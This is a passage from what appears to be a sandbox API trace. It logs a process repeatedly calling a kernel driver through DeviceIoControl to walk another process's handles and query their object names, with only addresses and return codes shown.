HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.886] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.886] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0070.886] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.886] PsAcquireProcessExitSynchronization () returned 0x0 [0070.886] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.886] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001b1e840, HandleInformation=0x0) returned 0x0 [0070.886] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.886] PsReleaseProcessExitSynchronization () returned 0x2 [0070.886] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.886] ObQueryNameString (in: Object=0xfffff8a001b1e840, ObjectNameInfo=0xfffffa800391b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800391b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.886] ObfDereferenceObject (Object=0xfffff8a001b1e840) returned 0x2 [0070.886] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.886] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.886] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.886] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0070.886] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.886] PsAcquireProcessExitSynchronization () returned 0x0 [0070.886] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.887] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80035a59d0, HandleInformation=0x0) returned 0x0 [0070.887] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.506] PsReleaseProcessExitSynchronization () returned 0x2 [0071.506] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.506] ObQueryNameString (in: Object=0xfffffa80035a59d0, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.506] ObfDereferenceObject (Object=0xfffffa80035a59d0) returned 0x10 [0071.506] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.506] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.507] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.507] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.507] PsAcquireProcessExitSynchronization () returned 0x0 [0071.507] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.507] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003570070, HandleInformation=0x0) returned 0x0 [0071.507] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.507] PsReleaseProcessExitSynchronization () returned 0x2 [0071.507] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.507] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c5044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c5044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.507] ObfDereferenceObject (Object=0xfffffa8003570070) returned 0x1 [0071.507] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.507] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.507] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0071.507] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.507] PsAcquireProcessExitSynchronization () returned 0x0 [0071.507] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.507] ObReferenceObjectByHandle (in: Handle=0x694, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003586f20, HandleInformation=0x0) returned 0x0 [0071.507] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.507] PsReleaseProcessExitSynchronization () returned 0x2 [0071.508] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.508] ObQueryNameString (in: Object=0xfffffa8003586f20, ObjectNameInfo=0xfffffa80039f37c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039f37c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.508] ObfDereferenceObject (Object=0xfffffa8003586f20) returned 0x1 [0071.508] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.508] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.508] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0071.508] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.508] PsAcquireProcessExitSynchronization () returned 0x0 [0071.508] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.508] ObReferenceObjectByHandle (in: Handle=0x6a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0023677e0, HandleInformation=0x0) returned 0x0 [0071.508] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.508] PsReleaseProcessExitSynchronization () returned 0x2 [0071.508] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.508] ObQueryNameString (in: Object=0xfffff8a0023677e0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.508] ObfDereferenceObject (Object=0xfffff8a0023677e0) returned 0x1 [0071.508] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.508] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.508] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0071.508] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.508] PsAcquireProcessExitSynchronization () returned 0x0 [0071.508] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.508] ObReferenceObjectByHandle (in: Handle=0x6e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00207bc00, HandleInformation=0x0) returned 0x0 [0071.508] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.508] PsReleaseProcessExitSynchronization () returned 0x2 [0071.508] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.508] ObQueryNameString (in: Object=0xfffff8a00207bc00, ObjectNameInfo=0xfffffa80039bb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039bb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.509] ObfDereferenceObject (Object=0xfffff8a00207bc00) returned 0x2 [0071.509] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.509] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.509] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0071.509] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.509] PsAcquireProcessExitSynchronization () returned 0x0 [0071.509] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.509] ObReferenceObjectByHandle (in: Handle=0x6f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002092c20, HandleInformation=0x0) returned 0x0 [0071.509] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.509] PsReleaseProcessExitSynchronization () returned 0x2 [0071.509] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.509] ObQueryNameString (in: Object=0xfffff8a002092c20, ObjectNameInfo=0xfffffa80039c5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.509] ObfDereferenceObject (Object=0xfffff8a002092c20) returned 0x2 [0071.509] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.509] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.509] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x138, lpOverlapped=0x0) returned 1 [0071.509] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.509] PsAcquireProcessExitSynchronization () returned 0x0 [0071.509] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.509] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020ff7e0, HandleInformation=0x0) returned 0x0 [0071.509] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.509] PsReleaseProcessExitSynchronization () returned 0x2 [0071.509] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.509] ObQueryNameString (in: Object=0xfffff8a0020ff7e0, ObjectNameInfo=0xfffffa80039f37c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039f37c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.509] ObfDereferenceObject (Object=0xfffff8a0020ff7e0) returned 0x2 [0071.509] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.509] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.509] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0071.510] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.510] PsAcquireProcessExitSynchronization () returned 0x0 [0071.510] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.510] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800209cd00, HandleInformation=0x0) returned 0x0 [0071.510] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.510] PsReleaseProcessExitSynchronization () returned 0x2 [0071.510] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.510] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.510] ObfDereferenceObject (Object=0xfffffa800209cd00) returned 0x11 [0071.510] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.510] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.510] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0071.510] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.510] PsAcquireProcessExitSynchronization () returned 0x0 [0071.510] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.510] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024238a0, HandleInformation=0x0) returned 0x0 [0071.510] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.510] PsReleaseProcessExitSynchronization () returned 0x2 [0071.510] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.510] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.510] ObfDereferenceObject (Object=0xfffffa80024238a0) returned 0x1 [0071.510] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.510] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.510] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.510] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x11c, lpOverlapped=0x0) returned 1 [0071.510] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.510] PsAcquireProcessExitSynchronization () returned 0x0 [0071.510] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.510] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020beab0, HandleInformation=0x0) returned 0x0 [0071.510] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.510] PsReleaseProcessExitSynchronization () returned 0x2 [0071.510] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.511] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039bd044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039bd044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.511] ObfDereferenceObject (Object=0xfffffa80020beab0) returned 0x1 [0071.511] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.511] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.511] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0071.511] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.511] PsAcquireProcessExitSynchronization () returned 0x0 [0071.511] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.511] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0020d4a50, HandleInformation=0x0) returned 0x0 [0071.511] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.511] PsReleaseProcessExitSynchronization () returned 0x2 [0071.511] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.511] ObQueryNameString (in: Object=0xfffff8a0020d4a50, ObjectNameInfo=0xfffffa80039be044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039be044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.511] ObfDereferenceObject (Object=0xfffff8a0020d4a50) returned 0x2 [0071.511] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.511] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.511] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.511] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.511] PsAcquireProcessExitSynchronization () returned 0x0 [0071.511] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.511] ObReferenceObjectByHandle (in: Handle=0x7b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f8a3b0, HandleInformation=0x0) returned 0x0 [0071.511] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.511] PsReleaseProcessExitSynchronization () returned 0x2 [0071.511] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.511] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039bf044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039bf044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.511] ObfDereferenceObject (Object=0xfffffa8002f8a3b0) returned 0x1 [0071.511] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.511] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.511] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0071.512] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.512] PsAcquireProcessExitSynchronization () returned 0x0 [0071.512] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.512] ObReferenceObjectByHandle (in: Handle=0x7d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003555b30, HandleInformation=0x0) returned 0x0 [0071.512] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.512] PsReleaseProcessExitSynchronization () returned 0x2 [0071.512] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.512] ObQueryNameString (in: Object=0xfffffa8003555b30, ObjectNameInfo=0xfffffa80039c0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.512] ObfDereferenceObject (Object=0xfffffa8003555b30) returned 0x1 [0071.512] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.512] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.512] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.512] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.512] PsAcquireProcessExitSynchronization () returned 0x0 [0071.512] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.512] ObReferenceObjectByHandle (in: Handle=0x7e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003b34860, HandleInformation=0x0) returned 0x0 [0071.512] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.512] PsReleaseProcessExitSynchronization () returned 0x2 [0071.512] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.512] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.512] ObfDereferenceObject (Object=0xfffffa8003b34860) returned 0x1 [0071.512] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.512] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.512] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0071.512] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.512] PsAcquireProcessExitSynchronization () returned 0x0 [0071.512] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.512] ObReferenceObjectByHandle (in: Handle=0x7f8, 